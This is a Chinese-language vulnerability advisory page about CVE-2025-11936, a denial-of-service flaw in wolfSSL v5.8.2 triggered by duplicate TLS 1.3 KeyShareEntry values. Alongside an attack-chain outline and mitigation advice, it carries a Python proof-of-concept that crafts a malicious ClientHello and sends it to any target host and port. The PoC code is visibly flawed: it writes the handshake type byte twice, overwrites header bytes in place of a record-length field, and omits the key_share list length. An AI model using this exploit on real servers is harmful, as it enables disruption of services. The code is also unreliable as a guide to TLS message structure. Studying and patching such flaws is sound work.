IPBUF安全漏洞报告
English
CVE-2025-11936 CVSS 5.3 中危

wolfSSL CVE-2025-11936 TLS 1.3 KeyShareEntry解析拒绝服务漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11936
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
wolfSSL v5.8.2

相关标签

wolfSSLTLS 1.3KeyShareEntry拒绝服务输入验证CVE-2025-11936wolfSSL v5.8.2加密库网络协议漏洞

漏洞概述

wolfSSL v5.8.2中存在一个输入验证不当的安全漏洞,漏洞位于TLS 1.3协议的KeyShareEntry解析过程中。该漏洞允许远程未经身份验证的攻击者通过发送精心构造的ClientHello消息来触发拒绝服务条件。具体来说,攻击者可以在ClientHello消息中为同一支持的组(supported group)包含重复的KeyShareEntry值,这会导致服务器在处理ClientHello时消耗过多的CPU和内存资源。此漏洞影响wolfSSL在多个平台上的部署,包括服务器端TLS握手处理。攻击者无需任何凭据即可发起攻击,且不需要用户交互,这使得该漏洞在互联网上具有较高的可利用性。成功利用此漏洞可导致目标服务变得无响应,影响合法用户的访问。

技术细节

漏洞根源在于wolfSSL的TLS 1.3 ClientHello消息解析器在处理KeyShareEntry时缺乏适当的输入验证。在TLS 1.3协议中,KeyShareEntry用于客户端发送其密钥共享材料。每个KeyShareEntry包含一个supported_group(支持的椭圆曲线或DH组)和相应的key_exchange数据。正常的TLS握手应该确保每个supported_group只出现一次,但wolfSSL v5.8.2的解析代码没有检查重复的KeyShareEntry。当攻击者发送包含重复KeyShareEntry的ClientHello时,解析器会重复处理相同的密钥材料,导致:1)CPU资源被重复的加密计算消耗;2)内存分配和释放操作增加;3)可能触发内存分配错误或缓冲区问题。攻击者可以通过发送多个恶意构造的ClientHello消息来持续耗尽服务器资源,实现长期拒绝服务。修复方案需要在KeyShareEntry解析时添加重复性检查,拒绝包含重复组标识符的ClientHello消息。

攻击链分析

STEP 1
步骤1
攻击者识别运行wolfSSL v5.8.2且启用TLS 1.3支持的目标服务器
STEP 2
步骤2
攻击者构造包含重复KeyShareEntry的恶意ClientHello消息,在同一supported group下放置多个KeyShareEntry
STEP 3
步骤3
攻击者通过TCP连接到目标服务器的TLS端口(443等)
STEP 4
步骤4
攻击者发送精心构造的ClientHello消息,触发wolfSSL的KeyShareEntry解析逻辑
STEP 5
步骤5
wolfSSL解析器处理重复的KeyShareEntry,导致重复的加密计算和内存分配
STEP 6
步骤6
目标服务器CPU和内存资源被耗尽,无法处理正常用户请求
STEP 7
步骤7
持续发送恶意请求可导致长期拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import ssl import struct def create_malicious_client_hello(): """ PoC for CVE-2025-11936: wolfSSL TLS 1.3 KeyShareEntry DoS Creates a ClientHello with duplicate KeyShareEntry values """ # TLS 1.3 ClientHello with duplicate KeyShareEntry client_hello = bytearray() # TLS Record Header (Content Type: Handshake) client_hello.extend([0x16, 0x03, 0x01]) # Handshake type: ClientHello (1) client_hello.append(0x01) # We will construct the handshake message body handshake_body = bytearray() # Version: TLS 1.2 (for compatibility) handshake_body.extend([0x03, 0x03]) # Random (32 bytes) handshake_body.extend([0x00] * 32) # Session ID length handshake_body.extend([0x00]) # Cipher Suites (2 bytes length + suites) cipher_suites = bytearray([ 0x13, 0x01, # TLS_AES_128_GCM_SHA256 0x13, 0x02 # TLS_AES_256_GCM_SHA384 ]) handshake_body.extend(struct.pack('>H', len(cipher_suites))) handshake_body.extend(cipher_suites) # Compression methods handshake_body.extend([0x01, 0x00]) # Extensions extensions = bytearray() # Extension: supported_versions (0x002b) supported_versions_ext = bytearray([ 0x00, 0x2b, # Extension type ]) version_data = bytearray([ 0x00, 0x02, # Length 0x03, 0x04 # TLS 1.3 ]) supported_versions_ext.extend(struct.pack('>H', len(version_data))) supported_versions_ext.extend(version_data) extensions.extend(supported_versions_ext) # Extension: key_share (0x0033) - with DUPLICATE entries key_share_ext = bytearray([ 0x00, 0x33, # Extension type ]) # KeyShareEntry 1 - x25519 (0x001d) key_share_entry1 = bytearray([ 0x00, 0x1d, # Supported group: x25519 0x00, 0x20, # Key exchange length: 32 bytes ]) key_share_entry1.extend([0x41] * 32) # Fake key material # KeyShareEntry 2 - DUPLICATE x25519 (same group!) key_share_entry2 = bytearray([ 0x00, 0x1d, # Supported group: x25519 (DUPLICATE!) 0x00, 0x20, # Key exchange length: 32 bytes ]) key_share_entry2.extend([0x42] * 32) # Different fake key material key_share_data = key_share_entry1 + key_share_entry2 key_share_ext.extend(struct.pack('>H', len(key_share_data))) key_share_ext.extend(key_share_data) extensions.extend(key_share_ext) # Extension length extensions_length = struct.pack('>H', len(extensions)) # Handshake body handshake_body.extend(extensions_length) handshake_body.extend(extensions) # Handshake length handshake_length = struct.pack('>I', len(handshake_body))[1:] client_hello.extend([0x01]) # Handshake type: ClientHello client_hello.extend(handshake_length) client_hello.extend(handshake_body) # Update record length record_length = struct.pack('>H', len(client_hello) - 5) client_hello[3:5] = record_length return bytes(client_hello) def exploit(target_host, target_port=443): """ Send malicious ClientHello to trigger DoS """ print(f"[*] Sending malicious ClientHello to {target_host}:{target_port}") try: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: # This will fail, but we sent the malicious ClientHello pass except Exception as e: print(f"[*] Connection result: {type(e).__name__}") malicious_hello = create_malicious_client_hello() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(malicious_hello) print("[+] Malicious ClientHello sent successfully") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 443) else: print("Usage: python cve_2025_11936_poc.py <target_host> [port]")

影响范围

wolfSSL v5.8.2

防御指南

临时缓解措施
在官方补丁发布前,可以通过以下措施缓解:1)禁用TLS 1.3协议,回退到TLS 1.2(如果业务允许);2)在负载均衡器或WAF层面限制来自单个源的TLS连接频率;3)监控服务器CPU和内存使用率,设置告警阈值;4)限制最大ClientHello消息大小;5)考虑使用wolfSSL的连接超时配置,限制握手阶段的资源占用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表